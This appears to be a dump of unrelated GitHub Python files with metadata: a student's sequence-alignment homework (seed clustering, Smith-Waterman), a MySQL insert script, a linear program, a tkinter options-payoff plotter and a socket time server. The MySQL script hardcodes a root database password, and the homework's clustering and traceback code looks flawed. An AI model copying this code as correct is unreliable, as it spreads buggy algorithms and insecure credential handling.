minimers.add(kmer)\n yield (nuc + k_position, self.minimizerMap[kmer])\n\nclass SeedCluster:\n \"\"\" Represents a set of seeds between two strings.\n \"\"\"\n def __init__(self, seeds):\n \"\"\" Seeds is a list of pairs [ (x_1, y_1), (x_2, y_2), ..., ], each is an instance of a seed \n (see static cluster seeds method below: static methods: https://realpython.com/blog/python/instance-class-and-static-methods-demystified/)\n \"\"\"\n seeds = list(seeds)\n seeds.sort()\n self.seeds = seeds\n # Gather the minimum and maximum x and y coordinates\n self.minX = seeds[0][0]\n self.maxX = seeds[-1][0]\n ys = list(map(lambda x : x[1], seeds))\n self.minY = min(ys)\n self.maxY = max(ys)\n\n @staticmethod\n def clusterSeeds(seeds, l):\n \"\"\" Cluster seeds (k-mer instances) in two strings. This is a static constructor method that creates a set\n of SeedCluster instances.\n \n Here seeds is a list of tuples, each tuple has the form (x, (y_1, y_2, ... )), where x is the coordinate\n in the first string and y_1, y_2, ... are coordinates in the second string. Each pair of x and y_i\n is an occurence of a shared k-mer in both strings, termed a *seed*, such that the k-mer \n occurrence starts at position x in the first string and starts at position y_i in the second string.\n The input seeds list contains no duplicates and is sorted in ascending order, \n first by x coordinate (so each successive tuple will have a greater \n x coordinate), and then each in tuple the y coordinates are sorted in ascending order.\n \n Two seeds (x_1, y_1), (x_2, y_2) are *close* if the absolute distances | x_2 - x_1 | and | y_2 - y_1 |\n are both less than or equal to l. \n \n Consider a *seed graph* in which the nodes are the seeds, and there is an edge between two seeds if they\n are close. clusterSeeds returns the connected components of this graph\n (https://en.wikipedia.org/wiki/Connected_component_(graph_theory)).\n \n The return value is a Python set of SeedCluster object, each representing a connected component of seeds in the \n seed graph.\n \n (QUESTION 1): The clustering of seeds is very simplistic. Can you suggest alternative strategies by\n which the seeds could be clustered, and what the potential benefits such alternative strategies could\n have? Consider the types of information you could use.\n\n You could turn all the (x (y_1, y_2, ..., y_n)) tuples in to (x, y) tuples and then from the first one see\n which satisfy the l distance requirement. That would make your first cluster, and then the remaining ones you\n do the process again relative to the first remaining tuple until all the tuples are clustered. After that see if there\n are common tuples in each cluster and then merge the clusters. This would remove the need to make edge class and graph class\n and just basic knowlege of unions and intersections (stats) to see if you can merge clusters (ex. intersection of two sets, if\n there is 1 or more intersecting tuples, merge.). The potential benefits of this is that the huge set up cost for the adjmatrix\n can be avoided.\n \"\"\" \n \n # Code to complete - you are free to define other functions as you like\n \n # The function will work like this,\n # first change all the (x( y1, y2, .., yn)) tuples into (x, y) tuples.\n # then from that point make the adj matrix so that it starts with itself\n # \n # Once the adjMatrix is set up the following will happen.\n # first a 2 seeds will compared.\n # if both are <= l distance away do this:\n # check if they have different componenets:\n # if they do merge the components then set\n # all the seeds in that component to have the \n # same seed values: the sum of both components\n # \n # I would like to cite James Casaletto for his help in office hours and\n # Alex Pearson and Kavya for thier helpful piazza posts on this probelm.\n\n # list for all the seeds\n adjMatrix = dict()\n Visited = dict()\n # first the tuple is turned into (x, y) tuples\n for x_value in range(len(seeds)):\n if seeds[x_value][1]:\n for y_value in seeds[x_value][1]:\n adjMatrix.setdefault((seeds[x_value][0], y_value), []).append((seeds[x_value][0], y_value))\n Visited[(seeds[x_value][0], y_value)] = False\n '''\n # now we cluster the seeds.\n for seed1 in range(len(list_of_seeds)):\n x_value, y_value = list_of_seeds[seed1]\n for seed2 in range(seed1, len(list_of_seeds)):\n x_value_2, y_value_2 = list_of_seeds[seed2]\n\n # if seeds are close get thier adj list\n if abs(x_value - x_value_2) <= l and abs(y_value - y_value_2) <= l:\n adj_seeds_1 = adjMatrix[list_of_seeds[seed1]]\n adj_seeds_2 = adjMatrix[list_of_seeds[seed2]]\n \n # if lists are different, concatenate.\n if adj_seeds_1 != adj_seeds_2:\n adj_seeds = adj_seeds_1 + adj_seeds_2\n \n # now set all seeds in adjMatrix equal to same components\n for seed in adj_seeds_1:\n adjMatrix[seed] = adj_seeds\n for seed in adj_seeds_2:\n adjMatrix[seed] = adj_seeds\n '''\n\n\n def Visit(value):\n ''' Visit the value and see whats near it. '''\n current = value\n Visited[current] = True\n for i in adjMatrix:\n if current == i : continue\n if abs(current[0] - i[0]) <= l and abs(current[1] - i[1]) <= l:\n newList = list(set(adjMatrix[current] + adjMatrix[i]))\n for item in (adjMatrix[i] + adjMatrix[current]):\n adjMatrix[item] = newList\n Visited[i] = True \n\n\n for seed in adjMatrix:\n if not Visited[seed]:\n Visit(seed)\n\n # turn the adj lists into seedCluster objects.\n set_of_clusters = set()\n\n for cluster in adjMatrix:\n set_of_clusters.add(SeedCluster(adjMatrix[cluster])) \n return set_of_clusters \n\n\nclass SmithWaterman(object):\n def __init__(self, string1, string2, gapScore=-2, matchScore=3, mismatchScore=-3):\n \"\"\" Finds an optimal local alignment of two strings.\n \n Implements the Smith-Waterman algorithm: \n https://en.wikipedia.org/wiki/Smith%E2%80%93Waterman_algorithm\n \n (QUESTION 2): The Smith-Waterman algorithm finds the globally optimal local alignment between to \n strings, but requires O(|string1| * |string2|) time. Suggest alternative strategies you could implement\n to accelerate the finding of reasonable local alignments. What drawbacks might such alternatives have?\n\n The algorithm for Smith-Waterman has to deal with many tie breakers to find only one alignment.\n You could use seeds from the Minimizer class to align to each string. And use those positions to guide\n you the best alignment instead of backtracking in a matrix. The drawback could be that if the minimer\n occurs frequently (like near t), its placement might dampen your ability to get the best alignment. Like\n for example \"A_long_long_time\" and \"this_is_a_long_long_time\" the minimer \"long\" would not be helpful in \n finding the alignment of interest since it occurs more than once. \n \"\"\"\n # set all inputs as attributes of class\n self.string1 = string1\n self.string2 = string2\n self.gap = gapScore\n self.matchScore = matchScore\n self.mismatchScore = mismatchScore\n\n # make a numpy array for the matrix\n self.matrix = numpy.zeros((len(string1) + 1, len(string2) + 1), dtype = int)\n\n # then set up the matrix and its values.\n for x_pos in range(1, len(string1) + 1):\n\n # set up the y axis\n for y_pos in range(1, len(string2) + 1):\n\n # check if we have a match or a mismatch\n if self.string1[x_pos - 1] == self.string2[y_pos - 1]:\n SofIJ = self.matchScore\n else: SofIJ = self.mismatchScore\n\n # find the diagonal, horizontal, and veritcal max socres\n diag = self.matrix[x_pos - 1][y_pos - 1] + SofIJ\n vertical = max([self.matrix[x_pos][i] + (self.gap) * (y_pos - i) for i in range(y_pos)])\n horizontal = max([self.matrix[i][y_pos] + (self.gap) * (x_pos - i) for i in range(x_pos)])\n \n # make sure they are not < 0\n if horizontal < 0: horizontal = 0\n if vertical < 0: vertical = 0\n \n # set position equal to the max of the path before it\n self.matrix[x_pos][y_pos] = max([diag, horizontal, vertical])\n\n\n def getAlignment(self):\n \"\"\" Returns an optimal local alignment of two strings. Alignment\n is returned as an ordered list of aligned pairs.\n \n e.g. For the two strings GATTACA and CTACC an optimal local alignment\n is (GAT)TAC(A)\n (C)TAC(C)\n where the characters in brackets are unaligned. This alignment would be returned as\n [ (3, 1), (4, 2), (5, 3) ] \n \n In cases where there is a tie between optimal sub-alignments use the following rule:\n Let (i, j) be a point in the edit matrix, if there is a tie between possible sub-alignments\n (e.g. you could chooose equally between different possibilities), choose the (i, j) to (i-1, j-1)\n (match) in preference, then the (i, j) to (i-1, j) (insert in string1) in preference and\n then (i, j) to (i, j-1) (insert in string2).\n \"\"\"\n # Code to complete - generated by traceback through matrix to generate aligned pairs\n \n # find the position of the max_value\n max_value = self.getMaxAlignmentScore()\n max_pos = tuple(numpy.argwhere(self.matrix == max_value)[-1])\n x_pos = max_pos[0]; y_pos = max_pos[1]\n\n # array that holds the tuples\n path = list()\n\n # now find the path to the 0\n \n while self.matrix[x_pos][y_pos] != 0:\n \n # if diagonal is a match take that as priority\n if self.string1[x_pos - 1] == self.string2[y_pos - 1]:\n path.append((x_pos - 1, y_pos - 1))\n x_pos -=1; y_pos -= 1\n continue\n\n # finds the best horizontal alignment\n bestX = 0; bestY = y_pos - 1\n for i in range(x_pos - 1):\n if self.matrix[i][y_pos - 1] >= self.matrix[bestX][bestY]:\n bestX = i\n \n # finds best vertical alignment\n bestX_vertical = x_pos - 1; bestY_vertical = 0\n for i in range(y_pos - 1):\n if self.matrix[x_pos - 1][i] >= self.matrix[bestX_vertical][bestY_vertical]:\n bestY_vertical = i\n \n # if diagonal not satisfied, see which is better\n # the horizontal of vertical alignment.\n if self.matrix[bestX][bestY] < self.matrix[bestX_vertical][bestY_vertical]:\n path.append((bestX_vertical, bestY_vertical))\n x_pos = bestX_vertical; y_pos = bestY_vertical\n else:\n path.append((bestX, bestY))\n x_pos = bestX; y_pos = bestY\n\n return path[::-1] # reversed because we want origin to highest element.\n \n def getMaxAlignmentScore(self):\n \"\"\" Returns the maximum alignment score\n \"\"\"\n # get max of each row\n # max_scores = [max(i) for i in self.matrix]\n\n # return the max of the max vaules\n return numpy.max(self.matrix)\n\ndef simpleMap(targetString, minimizerIndex, queryString, config):\n \"\"\" Function takes a target string with precomputed minimizer index and a query string\n and returns the best alignment it finds between target and query, using the given options specified in config.\n \n Maps the string in both its forward and reverse complement orientations.\n \n (QUESTION 3): The code below is functional, but very slow. Suggest ways you could potentially accelerate it, \n and note any drawbacks this might have.\n\n With all 3 algorithms essential in quadratic speed, time will quickly add up for the simpleMap function. I think\n running SeedCluster.clusterSeeds() with in get matches would speed up the class since the seeds produced in getMatches()\n is the input for the clusterSeeds() function. Another way could be to also do forward and reverseMaping at same time\n to double the speed, the trade off would be the increased amount of space needed to accomodate.\n \"\"\"\n bestAlignment = [None]\n \n def mapForwards(queryString):\n \"\"\" Maps the query string forwards\n \"\"\"\n # Find seed matches, aka \"aligned kmers\"\n seeds = list(minimizerIndex.getMatches(queryString))\n \n # For each cluster of seeds\n for seedCluster in SeedCluster.clusterSeeds(list(seeds), l=config.l):\n \n # Get substring of query and target to align\n queryStringStart = max(0, seedCluster.minX - config.c) # Inclusive coordinate\n queryStringEnd = min(len(queryString), seedCluster.maxX + config.k + config.c) # Exclusive coordinate\n querySubstring = queryString[queryStringStart:queryStringEnd]\n \n targetStringStart = max(0, seedCluster.minY - config.c) # Inclusive coordinate\n targetStringEnd = min(len(targetString), seedCluster.maxY + config.k + config.c) # Exclusive coordinate\n targetSubstring = targetString[targetStringStart:targetStringEnd]\n \n print( \"target_aligning\", targetStringStart, targetStringEnd, targetSubstring )\n print( \"query_aligning\", queryStringStart, queryStringEnd, querySubstring )\n \n # Align the genome and read substring\n alignment = SmithWaterman(targetSubstring, querySubstring, \n gapScore=config.gapScore, \n matchScore=config.matchScore,\n mismatchScore=config.mismatchScore)\n \n # Update best alignment if needed\n if bestAlignment[0] == None or alignment.getMaxAlignmentScore() > bestAlignment[0].getMaxAlignmentScore():\n bestAlignment[0] = alignment\n \n return bestAlignment\n \n def reverseComplement(string):\n \"\"\"Computes the reverse complement of a string\n \"\"\"\n rMap = { \"A\":\"T\", \"T\":\"A\", \"C\":\"G\", \"G\":\"C\", \"N\":\"N\"}\n return \"\".join(rMap[i] for i in string[::-1])\n \n # Run mapping forwards and reverse\n mapForwards(queryString)\n mapForwards(reverseComplement(queryString))\n \n return bestAlignment[0]\n\nclass Config():\n \"\"\" Minimal configuration class for handing around parameters\n \"\"\"\n def __init__(self):\n self.w = 30\n self.k = 20\n self.t = 10\n self.l = 30\n self.c = 100\n self.gapScore=-2\n self.matchScore=3\n self.mismatchScore=-3\n self.logLevel = \"INFO\"\n \ndef main():\n # Read parameters\n config = Config()\n \n #Parse the inputs args/options\n parser = argparse.ArgumentParser(usage=\"target_fasta query_fastq [options]\")\n\n parser.add_argument(\"target_fasta\", type=str,\n help=\"The target genome fasta file.\")\n parser.add_argument(\"query_fastq\", type=str,\n help=\"The query sequences.\")\n \n parser.add_argument(\"--w\", dest=\"w\", help=\"Length of minimizer window. Default=%s\" % config.w, default=config.w)\n parser.add_argument(\"--k\", dest=\"k\", help=\"Length of k-mer. Default=%s\" % config.k, default=config.k)\n parser.add_argument(\"--t\", dest=\"t\", help=\"Discard minmers that occur more frequently \" \n \"in the target than t. Default=%s\" % config.w, default=config.w)\n parser.add_argument(\"--l\", dest=\"l\", help=\"Cluster two minmers into the same cluster if within l bases of\"\n \" each other in both target and query. Default=%s\" % config.l, default=config.l)\n parser.add_argument(\"--c\", dest=\"c\", help=\"Add this many bases to the prefix and suffix of a seed cluster in the\"\n \" target and query sequence. Default=%s\" % config.c, default=config.c)\n parser.add_argument(\"--gapScore\", dest=\"gapScore\", help=\"Smith-Waterman gap-score. Default=%s\" % \n config.gapScore, default=config.gapScore)\n parser.add_argument(\"--matchScore\", dest=\"matchScore\", help=\"Smith-Waterman match-score. Default=%s\" % \n config.gapScore, default=config.gapScore)\n parser.add_argument(\"--mismatchScore\", dest=\"mismatchScore\", help=\"Smith-Waterman mismatch-score. Default=%s\" % \n config.mismatchScore, default=config.mismatchScore)\n parser.add_argument(\"--log\", dest=\"logLevel\", help=\"Logging level. Default=%s\" % \n config.logLevel, default=config.logLevel)\n parser.add_argument(\"-v\", \"--version\", action='version', version=' %(prog)s 0.1')\n \n options = parser.parse_args()\n \n # Parse the log level\n numeric_level = getattr(logging, options.logLevel.upper(), None)\n if not isinstance(numeric_level, int):\n raise ValueError('Invalid log level: %s' % options.logLevel)\n \n # Setup a logger\n logger.setLevel(numeric_level)\n ch = logging.StreamHandler(sys.stdout)\n ch.setLevel(numeric_level)\n formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n ch.setFormatter(formatter)\n logger.addHandler(ch)\n logger.debug(\"Established logger\")\n \n startTime = time.time()\n \n # Parse the target sequence and read the first sequence\n with pysam.FastaFile(options.target_fasta) as targetFasta:\n targetString = targetFasta.fetch(targetFasta.references[0])\n logger.info(\"Parsed target string. Length: %s\" % len(targetString))\n \n # Build minimizer index\n minimizerIndex = MinimizerIndexer(targetString.upper(), w=options.w, k=options.k, t=options.t)\n minmerInstances = sum(map(len, minimizerIndex.minimizerMap.values()))\n logger.info(\"Built minimizer index in %s seconds. #minmers: %s, #minmer instances: %s\" %\n ((time.time()-startTime), len(minimizerIndex.minimizerMap), minmerInstances))\n \n # Open the query files\n alignmentScores = [] # Array storing the alignment scores found\n with pysam.FastqFile(options.query_fastq) as queryFastq:\n # For each query string build alignment\n for query, queryIndex in zip(queryFastq, range(sys.maxsize)):\n print (queryIndex)\n alignment = simpleMap(targetString, minimizerIndex, query.sequence.upper(), config)\n alignmentScore = 0 if alignment is None else alignment.getMaxAlignmentScore()\n alignmentScores.append(alignmentScore)\n logger.debug(\"Mapped query sequence #%i, length: %s alignment_found?: %s \"\n \"max_alignment_score: %s\" % \n (queryIndex, len(query.sequence), alignment is not None, alignmentScore)) \n # Comment this out to test on a subset\n #if queryIndex > 100:\n # break\n \n # Print some stats\n logger.critical(\"Finished alignments in %s total seconds, average alignment score: %s\" % \n (time.time()-startTime, float(sum(alignmentScores))/len(alignmentScores)))\n \nif __name__ == '__main__':\n main()\n","repo_name":"mabdulqa/BME230A","sub_path":"Homework3/simpleMap.py","file_name":"simpleMap.py","file_ext":"py","file_size_in_byte":24361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36821823290","text":"import mysql.connector as connector\n\ntry:\n con = connector.connect(\n user='root',\n password='12345om',\n database='pythonDB'\n )\n try:\n # Check connection\n if con.is_connected():\n print('Connected')\n # Creating cursor object\n cur = con.cursor()\n # Insert multiple record\n sql = 'INSERT INTO student (name, roll, fees) VALUES (%s, %s, %s)'\n while True:\n nm = input('Enter your name :- ')\n rl = int(input(\"Enter roll no :- \"))\n fs = float(input(\"Enter fees :- \"))\n\n records = (nm, rl, fs)\n cur.execute(sql, records) # this method is used to insert multiple record in mysql database\n\n print(cur.rowcount, 'rows inserted :-) ')\n print('std id :- ', cur.lastrowid)\n con.commit()\n ans = input(\"Enter y/n :- \")\n if ans is 'n' or ans is 'N':\n break\n except Exception as e:\n con.rollback()\n print('record is not inserted :-) ', e)\n\nexcept Exception as e:\n print('Unable to connect :-) ', e)\n\n\n\n","repo_name":"kom50/PythonProject","sub_path":"MySQL python/InsertRecord1.py","file_name":"InsertRecord1.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"34419419179","text":"import math\nfrom pyscipopt import Model\nmodel = Model()\nx1 = model.addVar(name=\"x1\", vtype=\"C\", lb=-1, ub=1)\nx2 = model.addVar(name=\"x2\", vtype=\"C\", lb=-1, ub=1)\nla = model.addVar(name=\"la\", vtype=\"C\", lb=None, ub=None)\nlb = model.addVar(name=\"lb\", vtype=\"C\", lb=None, ub=None)\nA = {(-1, 4), (1 / 2, 4), (1 / 2, 3)}\nB = {(-2, -4), (-1 / 2, -1), (-1, -4), (1 / 2, -2)}\nfor p in A:\n p1 = p[0]\n p2 = p[1]\n model.addCons(p1 * x1 + p2 * x2 <= la)\nfor p in B:\n p1 = p[0]\n p2 = p[1]\n model.addCons(p1 * x1 + p2 * x2 >= lb)\nmodel.addCons(la <= lb)\nmodel.setObjective(lb - la, \"maximize\")\nmodel.hideOutput()\nmodel.optimize()\n\nx = (model.getVal(x1), model.getVal(x2))\nx_len = math.sqrt(x[0]**2 + x[1]**2)\nl = (model.getVal(la) + model.getVal(lb)) / 2\nnvec = (l*x[0] / x_len**2, l*x[1] / x_len**2)\n","repo_name":"J-Savela/comb-opt","sub_path":"src/assignment1.py","file_name":"assignment1.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21769341964","text":"from tkinter import *\r\nfrom tkinter import filedialog\r\nfrom tkinter import ttk\r\nimport sqlite3\r\nimport matplotlib.pyplot as plt\r\nimport configuration\r\nfrom sys import platform\r\n\r\nclass remove:\r\n\tdef __init__(self, master, value, first, second, third, fourth, fifth, database):\r\n\t\tself.number = value\r\n\t\tself.myframe = Frame(master)\r\n\t\tself.myframe.grid(row = self.number+2,column=0,columnspan = 10,pady = 5)\r\n\t\tLabel(self.myframe,text=first +'\\t'+ second +'\\t'+ third +'\\tPremium : '+ fourth + '\\tQuantity : '+ fifth,\r\n\t\t\tfont=(\"Calibri\", 13)).grid(row=self.number+2,column=0,columnspan = 4,padx=5,pady = 5,stick = W)\r\n\t\tButton(self.myframe, text=\" X \",bg='red',font=(\"Calibri\", 13),command=lambda:self.remove_option(database)).grid(row=self.number+2,column=5,padx = 5,pady =5,stick = W)\r\n\r\n\tdef remove_option(self, database):\r\n\t\tself.myframe.destroy()\r\n\t\tconn = sqlite3.connect(database)\r\n\t\tc = conn.cursor()\r\n\t\tc.execute(\"DELETE from strats where rowid = \"+str(self.number))\r\n\t\tconn.commit()\r\n\t\tconn.close()\r\n\r\ndef save_db(database):\r\n\tfiles = [('Database','*.db')]\r\n\tfile = filedialog.asksaveasfile(filetypes = files, defaultextension = files)\r\n\tconn = sqlite3.connect(database)\r\n\tc = conn.cursor()\r\n\tc.execute(\"SELECT * FROM strats\")\r\n\tlegs = c.fetchall()\r\n\tconn.close()\r\n\tconn = sqlite3.connect(str(file).split(\"'\")[1])\r\n\tc = conn.cursor()\r\n\tc.execute(\"\"\"CREATE TABLE IF NOT EXISTS strats (action text,ce_pe text,strike real,premium real,quantity integer)\"\"\")\r\n\tc.executemany('INSERT INTO strats VALUES(?,?,?,?,?);',legs)\r\n\tconn.commit()\r\n\tconn.close()\r\n\r\ndef open_file():\r\n root.filename = filedialog.askopenfilename(initialdir=\"/\",title = \"Select A File\",filetypes=((\"All Files\",\"*.*\"),))\r\n if(root.filename):\r\n\t add_strat(root.filename)\r\n # Label(root,text=root.filename).grid(row=6,column =0)\r\n\r\ndef add_leg(database):\r\n\tglobal buy_sell,ce_pe,strike,premium,quantity,strike_entry,premium_entry,quantity_entry,screen1\r\n\tnumber = 0\r\n\tconn = sqlite3.connect(database)\r\n\tc = conn.cursor()\r\n\twith conn:\r\n\t c.execute(\"INSERT INTO strats VALUES (:action, :ce_pe, :strike, :premium, :quantity)\",\r\n\t {'action': buy_sell.get(), 'ce_pe': ce_pe.get(), 'strike': strike.get(), 'premium': premium.get(), 'quantity': quantity.get()})\r\n\t c.execute(\"SELECT *,rowid FROM strats\")\r\n\t number = c.fetchall()[-1][-1]\r\n\r\n\t_ = remove(screen1, number, str(buy_sell.get()), str(strike.get()), str(ce_pe.get()), str(premium.get()), str(quantity.get()), database)\r\n\r\n\tpremium_entry.delete(0,END)\r\n\tquantity_entry.delete(0,END)\r\n\tstrike_entry.delete(0,END)\r\n\tquantity_entry.insert(0,int(0))\r\n\tpremium_entry.insert(0,float(0))\r\n\tstrike_entry.insert(0,float(0))\r\n\r\ndef create_graph(database):\r\n\tfrom_strike = 0 #hard coded for now\r\n\tto_strike = 0 #hard coded for now\r\n\tmax_pre = 0\r\n\r\n\tconn = sqlite3.connect(database)\r\n\tc = conn.cursor()\r\n\tc.execute(\"SELECT *,rowid FROM strats\")\r\n\r\n\tlegs = c.fetchall()\r\n\tfrom_strike = legs[0][2]\r\n\tfor leg in legs:\r\n\t\tfrom_strike = min(from_strike,leg[2])\r\n\t\tto_strike = max(to_strike,leg[2])\r\n\t\tmax_pre = max(max_pre,leg[3])\r\n\r\n\tfrom_strike -= max_pre*10\r\n\tto_strike += max_pre*10\r\n\trange_strike = []\r\n\ttotal_pnl = []\r\n\twhile(from_strike < to_strike):\r\n\t range_strike.append(round(from_strike,2))\r\n\t from_strike+=0.01\r\n\trange_strike.append(to_strike)\r\n\ttotal_pnl = [0 for x in range_strike]\r\n\r\n\tfor leg in legs:\r\n\t\tpnl = []\r\n\t\tif(leg[0] == \"BUY\" and leg[1] == \"CALL\"):\r\n\t\t\tfor i in range_strike:\r\n\t\t\t\tpnl.append(((max((i-leg[2]),0) - leg[3])*leg[4]))\r\n\r\n\t\telif(leg[0] == \"SELL\" and leg[1] == \"CALL\"):\r\n\t\t\tfor i in range_strike:\r\n\t\t\t\tpnl.append(((leg[3] - max((i-leg[2]),0))*leg[4]))\r\n\r\n\t\telif(leg[0] == \"BUY\" and leg[1] == \"PUT\"):\r\n\t\t\tfor i in range_strike:\r\n\t\t\t\tpnl.append(((max((leg[2]-i),0)-leg[3])*leg[4]))\r\n\r\n\t\telif(leg[0] == \"SELL\" and leg[1] == \"PUT\"):\r\n\t\t\tfor i in range_strike:\r\n\t\t\t\tpnl.append(((leg[3] - max((leg[2]-i),0))*leg[4]))\r\n\t\tfor i in range(0,len(range_strike)):\r\n\t\t\ttotal_pnl[i] += pnl[i]\r\n\r\n\tfig, ax = plt.subplots()\r\n\tax.plot(range_strike,total_pnl)\r\n\tax.set(xlabel='Strike', ylabel='PnL',\r\n\ttitle='Options Pay-Off Diagram')\r\n\t# plt.xlim(0,to_strike+1)\r\n\tax.grid()\r\n\tplt.show()\r\n\trange_strike = []\r\n\ttotal_pnl = []\r\n\r\n\tif(database == 'trial.db'):#CHECK THIS LOGIC\r\n\t\tc.execute(\"DROP TABLE IF EXISTS strats\")\r\n\t\tconn.commit()\r\n\r\ndef add_strat(database):\r\n global buy_sell,ce_pe,strike,premium,quantity,strike_entry,premium_entry,quantity_entry,screen1\r\n conn = sqlite3.connect(database)\r\n c = conn.cursor()\r\n if database == 'trial.db':\r\n try:\r\n c.execute(\"DROP TABLE strats\")\r\n conn.commit()\r\n except:\r\n pass\r\n c.execute(\"\"\"CREATE TABLE strats (action text,ce_pe text,strike real,premium real,quantity integer)\"\"\")\r\n screen1 = Toplevel(root)\r\n screen1.title(\"Create STRATEGY\")\r\n img = PhotoImage(file='optionicon_linux.gif')\r\n if platform == \"linux\" or platform == \"linux2\":\r\n screen1.tk.call('wm', 'iconphoto', root._w, img)\r\n elif platform == \"win32\":\r\n screen1.iconbitmap(\"optionicon.ico\")\r\n screen1.geometry(\"%dx%d+0+0\"%(root.winfo_screenwidth(),root.winfo_screenheight()))\r\n \r\n Label(screen1,text = \"Choose action (BUY/SELL) : \",padx = 5,pady = 5,font=(\"Calibri\", 13)).grid(row=0,column = 0)\r\n buy_sell = ttk.Combobox(screen1, value=[\"BUY\", \"SELL\"],width=6)\r\n buy_sell.current(0)\r\n buy_sell.grid(row=0,column = 1,padx = 5,pady = 5)\r\n \r\n Label(screen1,text = \" \"*15+\"Choose type (CALL/PUT) : \",padx = 5,pady = 5,font=(\"Calibri\", 13)).grid(row=0,column = 2)\r\n ce_pe = ttk.Combobox(screen1, value=[\"CALL\", \"PUT\"],width=6)\r\n ce_pe.current(0)\r\n ce_pe.grid(row=0,column = 3,padx = 5,pady = 5)\r\n \r\n Label(screen1,text = \" \"*15+\"Strike Price : \",padx = 5,pady = 5,font=(\"Calibri\", 13)).grid(row=0,column = 4,padx = 5,pady = 5)\r\n strike = DoubleVar()\r\n strike_entry = Entry(screen1, textvariable = strike)\r\n strike_entry.grid(row=0,column = 5,padx = 5,pady = 5)\r\n \r\n Label(screen1,text = \" \"*15+\"Premium : \",padx = 5,pady = 5,font=(\"Calibri\", 13)).grid(row=0,column = 6,padx = 5,pady = 5)\r\n premium = DoubleVar()\r\n premium_entry = Entry(screen1, textvariable = premium)\r\n premium_entry.grid(row=0,column = 7,padx = 5,pady = 5)\r\n \r\n Label(screen1,text = \" \"*15+\"Quantity : \",padx = 5,pady = 5,font=(\"Calibri\", 13)).grid(row=0,column = 8,padx = 5,pady = 5)\r\n quantity = IntVar()\r\n quantity_entry = Entry(screen1, textvariable = quantity)\r\n quantity_entry.grid(row=0,column = 9,padx = 5,pady = 5)\r\n \r\n add_leg_button = Button(screen1,text='Add Option Leg',padx = 5,pady = 5,font=(\"Calibri\", 13),command=lambda:add_leg(database))\r\n add_leg_button.grid(row=1,column=0)\r\n \r\n create_graph_button = Button(screen1,text='Create Graph',padx = 5,pady = 5,font=(\"Calibri\", 13),command=lambda:create_graph(database))\r\n create_graph_button.grid(row=1,column=2)\r\n \r\n save_button = Button(screen1,text=' Save Strategy ',padx = 5,pady = 5,font=(\"Calibri\", 13),command=lambda:save_db(database))\r\n save_button.grid(row=1,column=4)\r\n \r\n c.execute(\"SELECT *,rowid FROM strats\")\r\n legs = c.fetchall()\r\n conn.close()\r\n for leg in legs:\r\n _ = remove(screen1, leg[5], str(leg[0]), str(leg[2]), str(leg[1]), str(leg[3]), str(leg[4]), database)\r\n\r\nbackground = configuration.colors['background']\r\nheader_fg = configuration.colors['header_foreground']\r\nheader_bg = configuration.colors['header_background']\r\n\r\nroot =Tk()\r\nroot.geometry('381x150')#\"%dx%d+0+0\"%(root.winfo_screenwidth(),root.winfo_screenheight())\r\nroot.title(\"Options Pay-Off Builder\")\r\nroot.configure(bg=background)\r\nimg = PhotoImage(file='optionicon_linux.gif')\r\nif platform == \"linux\" or platform == \"linux2\":\r\n root.tk.call('wm', 'iconphoto', root._w, img)\r\nelif platform == \"win32\":\r\n root.iconbitmap(\"optionicon.ico\")\r\n\r\nheading = Label(root, text=\"Options Pay-Off Graph Generator\", height = 2, font=(\"Calibri\", 18), fg=header_fg, bg=header_bg)\r\nheading.grid(row=0, column=0, columnspan=2, stick=W+E)\r\n\r\ncreate = Button(root, text=\" Create New Strategy \", padx = 5, pady = 5, font=(\"Calibri\", 13), command = lambda:add_strat('trial.db'))\r\ncreate.grid(row=1, column=0, pady=15, padx = 6.25)\r\n\r\nopen_saved = Button(root, text=\" Open Saved Strategy \", padx = 5, pady = 5, font=(\"Calibri\", 13), command = open_file)\r\nopen_saved.grid(row=1, column = 1, pady = 15, padx = 6.25)\r\n\r\nroot.mainloop()\r\n","repo_name":"TradeMythBuster/Stock-Options-Graph","sub_path":"option_payoff_diagram.py","file_name":"option_payoff_diagram.py","file_ext":"py","file_size_in_byte":8424,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"2970500142","text":"#Erdin ALHAS 150401052\r\n\r\nimport socket, os, time, sys\r\nfrom datetime import datetime, timezone, timedelta\r\n\r\nport = 142\r\nSIZE = 2048\r\nip = \"\"\r\n\r\ns_soket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\ns_soket.bind((ip, port))\r\ns_soket.listen(1)\r\nistemci, istemciAdres = s_soket.accept()\r\n\r\nUTC = int(input(\"Zaman dilimini seciniz: UTC \")) \r\nif (UTC < 0):\r\n print(\"\\nSecilen zaman dilimi:UTC -\" + str(UTC))\r\nelse:\r\n print(\"\\nSecilen zaman dilimi:UTC +\" + str(UTC))\r\nif (UTC < 0):\r\n timezone = \" UTC \" + str(UTC)\r\nelse:\r\n timezone = \" UTC +\" + str(UTC)\r\n\r\nilkZaman = datetime.utcnow() + timedelta(hours=UTC)\r\nistemci.send(bytes(str(ilkZaman) + timezone, encoding='utf-8')) \r\nkontrol = istemci.recv(SIZE) \r\nsonZaman = datetime.utcnow() + timedelta(hours=UTC)\r\ngidisDonus = sonZaman - ilkZaman\r\ngecikme = gidisDonus / 2 \r\nprint(\"Gecikme Suresi: \", gecikme)\r\n\r\nzaman = datetime.utcnow() + timedelta(hours=UTC)+gecikme \r\nzaman = str(zaman.strftime(\"%d %B %Y \")) + str(datetime.time(zaman))\r\n\r\nistemci.send(bytes(zaman, encoding='utf-8'))\r\nprint(\"\\nGecikmeli Sunucu Zamani: \", zaman)\r\n\r\nif (UTC < 0):\r\n timezone = \" UTC \" + str(UTC)\r\nelse:\r\n timezone = \" UTC +\" + str(UTC)\r\n\r\nistemci.send(bytes(timezone, encoding='utf-8'))\r\nistemci.close()\r\ns_soket.close()","repo_name":"nyucel/blm304","sub_path":"final/150401052/sunucu.py","file_name":"sunucu.py","file_ext":"py","file_size_in_byte":1285,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"21"} +{"seq_id":"3464736537","text":"import gi\ntry:\n gi.require_version('Gtk', 